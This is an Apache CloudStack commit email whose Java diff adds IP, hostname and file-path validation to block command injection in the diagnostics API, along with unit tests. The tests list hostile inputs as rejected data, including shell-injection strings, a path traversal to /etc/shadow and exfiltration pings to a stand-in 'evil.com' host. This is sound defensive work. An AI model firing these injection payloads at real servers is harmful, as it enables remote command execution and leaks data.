You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@cloudstack.apache.org by sh...@apache.org on 2026/08/18 13:55:47 UTC
(cloudstack) 13/23: Prevent command injections in get/run diagnostics API
This is an automated email from the ASF dual-hosted git repository.
shwstppr pushed a commit to branch 4.22
in repository https://gitbox.apache.org/repos/asf/cloudstack.git
commit f52f9da27bc14262f536043c9dc85e61e7364d5a
Author: Pearl Dsilva <pe...@gmail.com>
AuthorDate: Fri Jun 19 13:01:41 2026 -0400
Prevent command injections in get/run diagnostics API
---
.../diagnostics/DiagnosticsServiceImpl.java | 37 +++++-
.../diagnostics/DiagnosticsServiceImplTest.java | 133 +++++++++++++++++++++
2 files changed, 169 insertions(+), 1 deletion(-)
diff --git a/server/src/main/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImpl.java b/server/src/main/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImpl.java
index 5e812b5fea8..0159a5c003c 100644
--- a/server/src/main/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImpl.java
+++ b/server/src/main/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImpl.java
@@ -69,6 +69,7 @@ import com.cloud.utils.Pair;
import com.cloud.utils.component.ManagerBase;
import com.cloud.utils.component.PluggableService;
import com.cloud.utils.exception.CloudRuntimeException;
+import com.cloud.utils.net.NetUtils;
import com.cloud.utils.ssh.SshHelper;
import com.cloud.vm.VMInstanceVO;
import com.cloud.vm.VirtualMachine;
@@ -126,6 +127,12 @@ public class DiagnosticsServiceImpl extends ManagerBase implements PluggableServ
final String cmdType = cmd.getType().getValue();
final String ipAddress = cmd.getAddress();
final String optionalArguments = cmd.getOptionalArguments();
+
+ if (StringUtils.isBlank(ipAddress) || !isValidIpOrHostname(ipAddress)) {
+ throw new InvalidParameterValueException("Invalid ipaddress value: " + ipAddress +
+ ". It must be a valid IPv4/IPv6 address or hostname.");
+ }
+
final VMInstanceVO vmInstance = instanceDao.findByIdTypes(vmId, VirtualMachine.Type.ConsoleProxy, VirtualMachine.Type.DomainRouter, VirtualMachine.Type.SecondaryStorageVm);
if (vmInstance == null) {
@@ -140,7 +147,7 @@ public class DiagnosticsServiceImpl extends ManagerBase implements PluggableServ
final String shellCmd = prepareShellCmd(cmdType, ipAddress, optionalArguments);
if (StringUtils.isEmpty(shellCmd)) {
- throw new IllegalArgumentException("Optional parameters contain unwanted characters: " + optionalArguments);
+ throw new InvalidParameterValueException("Diagnostics command contains invalid characters in ipaddress or optional parameters");
}
final Hypervisor.HypervisorType hypervisorType = vmInstance.getHypervisorType();
@@ -176,7 +183,20 @@ public class DiagnosticsServiceImpl extends ManagerBase implements PluggableServ
}
}
+ protected boolean isValidIpOrHostname(String address) {
+ if (StringUtils.isBlank(address)) {
+ return false;
+ }
+ if (NetUtils.isValidIp4(address) || NetUtils.isValidIp6(address)) {
+ return true;
+ }
+ return NetUtils.verifyDomainName(address);
+ }
+
protected String prepareShellCmd(String cmdType, String ipAddress, String optionalParams) {
+ if (!isValidIpOrHostname(ipAddress)) {
+ return null;
+ }
final String CMD_TEMPLATE = String.format("%s %s", cmdType, ipAddress);
if (StringUtils.isEmpty(optionalParams)) {
return CMD_TEMPLATE;
@@ -209,11 +229,26 @@ public class DiagnosticsServiceImpl extends ManagerBase implements PluggableServ
return zipFilesAnswer.getDetails().replace("\n", "");
}
+ private static final Pattern VALID_DIAG_FILE_PATTERN = Pattern.compile("^[\\w\\-./]+$");
+
+ protected void validateDiagnosticsFilesList(List<String> filesList) {
+ if (CollectionUtils.isEmpty(filesList)) {
+ return;
+ }
+ for (String file : filesList) {
+ if (StringUtils.isBlank(file) || !VALID_DIAG_FILE_PATTERN.matcher(file).matches() || file.contains("..")) {
+ throw new InvalidParameterValueException("Invalid diagnostics file entry: " + file +
+ ". File paths must contain only alphanumeric characters, hyphens, underscores, dots, and forward slashes.");
+ }
+ }
+ }
+
@Override
@ActionEvent(eventType = EventTypes.EVENT_SYSTEM_VM_DIAGNOSTICS, eventDescription = "getting diagnostics files on system vm", async = true)
public String getDiagnosticsDataCommand(GetDiagnosticsDataCmd cmd) {
final Long vmId = cmd.getId();
final List<String> optionalFilesList = cmd.getFilesList();
+ validateDiagnosticsFilesList(optionalFilesList);
final VMInstanceVO vmInstance = getSystemVMInstance(vmId);
final DataStore store = getImageStore(vmInstance.getDataCenterId());
diff --git a/server/src/test/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImplTest.java b/server/src/test/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImplTest.java
index 2855196f9dc..dc5b71c9996 100644
--- a/server/src/test/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImplTest.java
+++ b/server/src/test/java/org/apache/cloudstack/diagnostics/DiagnosticsServiceImplTest.java
@@ -39,7 +39,10 @@ import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnitRunner;
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
+import java.util.List;
import java.util.Map;
@RunWith(MockitoJUnitRunner.class)
@@ -168,6 +171,43 @@ public class DiagnosticsServiceImplTest extends TestCase {
serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
}
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsSemicolonInjection() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn("127.0.0.1;id");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsCommandSubstitution() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn("127.0.0.1$(whoami)");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsBacktickInjection() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn("127.0.0.1`id`");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsOASTPayload() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn(
+ "127.0.0.1 -c 1;ping${IFS}-c${IFS}1${IFS}$(whoami).rundiag-rce.evil.com;#");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsPipeInjection() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn("127.0.0.1|id");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testRunDiagnosticsRejectsSpaceWithExtraArgs() throws Exception {
+ Mockito.when(runDiagnosticsCmd.getAddress()).thenReturn("127.0.0.1 -c 1;touch /tmp/rce;#");
+ serviceImpl.runDiagnosticsCommand(runDiagnosticsCmd);
+ }
+
@Test
public void testInvalidCharsInParams() throws Exception {
assertFalse(serviceImpl.hasValidChars("'\\''"));
@@ -193,4 +233,97 @@ public class DiagnosticsServiceImplTest extends TestCase {
assertTrue(serviceImpl.hasValidChars("-c 5 -4 -AbDfhqUV"));
}
+ @Test
+ public void testValidIpOrHostname() throws Exception {
+ assertTrue(serviceImpl.isValidIpOrHostname("8.8.8.8"));
+ assertTrue(serviceImpl.isValidIpOrHostname("192.168.1.1"));
+ assertTrue(serviceImpl.isValidIpOrHostname("google.com"));
+ assertTrue(serviceImpl.isValidIpOrHostname("www.google.com"));
+ assertTrue(serviceImpl.isValidIpOrHostname("sub.domain.example.com"));
+ }
+
+ @Test
+ public void testInvalidIpOrHostname() throws Exception {
+ assertFalse(serviceImpl.isValidIpOrHostname(null));
+ assertFalse(serviceImpl.isValidIpOrHostname(""));
+ assertFalse(serviceImpl.isValidIpOrHostname(" "));
+ assertFalse(serviceImpl.isValidIpOrHostname("127.0.0.1;id"));
+ assertFalse(serviceImpl.isValidIpOrHostname("127.0.0.1$(whoami)"));
+ assertFalse(serviceImpl.isValidIpOrHostname("127.0.0.1`id`"));
+ assertFalse(serviceImpl.isValidIpOrHostname("127.0.0.1|id"));
+ assertFalse(serviceImpl.isValidIpOrHostname("host;cmd"));
+ assertFalse(serviceImpl.isValidIpOrHostname("127.0.0.1 -c 1;touch /tmp/rce;#"));
+ }
+
+ @Test
+ public void testPrepareShellCmdRejectsInjectedIpAddress() throws Exception {
+ assertNull(serviceImpl.prepareShellCmd("ping", "127.0.0.1;id", null));
+ assertNull(serviceImpl.prepareShellCmd("ping", "127.0.0.1$(whoami)", null));
+ assertNull(serviceImpl.prepareShellCmd("ping", "127.0.0.1`id`", null));
+ assertNull(serviceImpl.prepareShellCmd("ping", "127.0.0.1|cat /etc/passwd", null));
+ assertNull(serviceImpl.prepareShellCmd("ping",
+ "127.0.0.1 -c 1;ping${IFS}-c${IFS}1${IFS}$(whoami).evil.com;#", null));
+ }
+
+ @Test
+ public void testPrepareShellCmdAllowsValidIpAddress() throws Exception {
+ assertEquals("ping 8.8.8.8", serviceImpl.prepareShellCmd("ping", "8.8.8.8", null));
+ assertEquals("ping google.com", serviceImpl.prepareShellCmd("ping", "google.com", null));
+ assertEquals("traceroute 10.0.0.1 -m 20",
+ serviceImpl.prepareShellCmd("traceroute", "10.0.0.1", "-m 20"));
+ }
+
+ @Test
+ public void testValidateDiagnosticsFilesListAcceptsValidPaths() throws Exception {
+ List<String> validFiles = Arrays.asList(
+ "/var/log/cloud.log",
+ "/etc/cloudstack-release",
+ "iptables",
+ "ipaddr",
+ "/usr/local/cloud/systemvm/conf/agent.properties"
+ );
+ serviceImpl.validateDiagnosticsFilesList(validFiles);
+ }
+
+ @Test
+ public void testValidateDiagnosticsFilesListAcceptsNull() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(null);
+ }
+
+ @Test
+ public void testValidateDiagnosticsFilesListAcceptsEmpty() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(new ArrayList<>());
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsSemicolon() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList(
+ "diagnostics.py ping 127.0.0.1 -c 1; ping whoami.evil.com -c 1"));
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsCommandSubstitution() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList("$(whoami)"));
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsBacktick() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList("`id`"));
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsPipe() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList("/var/log/cloud.log|id"));
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsPathTraversal() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList("../../etc/shadow"));
+ }
+
+ @Test(expected = InvalidParameterValueException.class)
+ public void testValidateDiagnosticsFilesListRejectsSpaces() throws Exception {
+ serviceImpl.validateDiagnosticsFilesList(Arrays.asList("/var/log/file name"));
+ }
+
}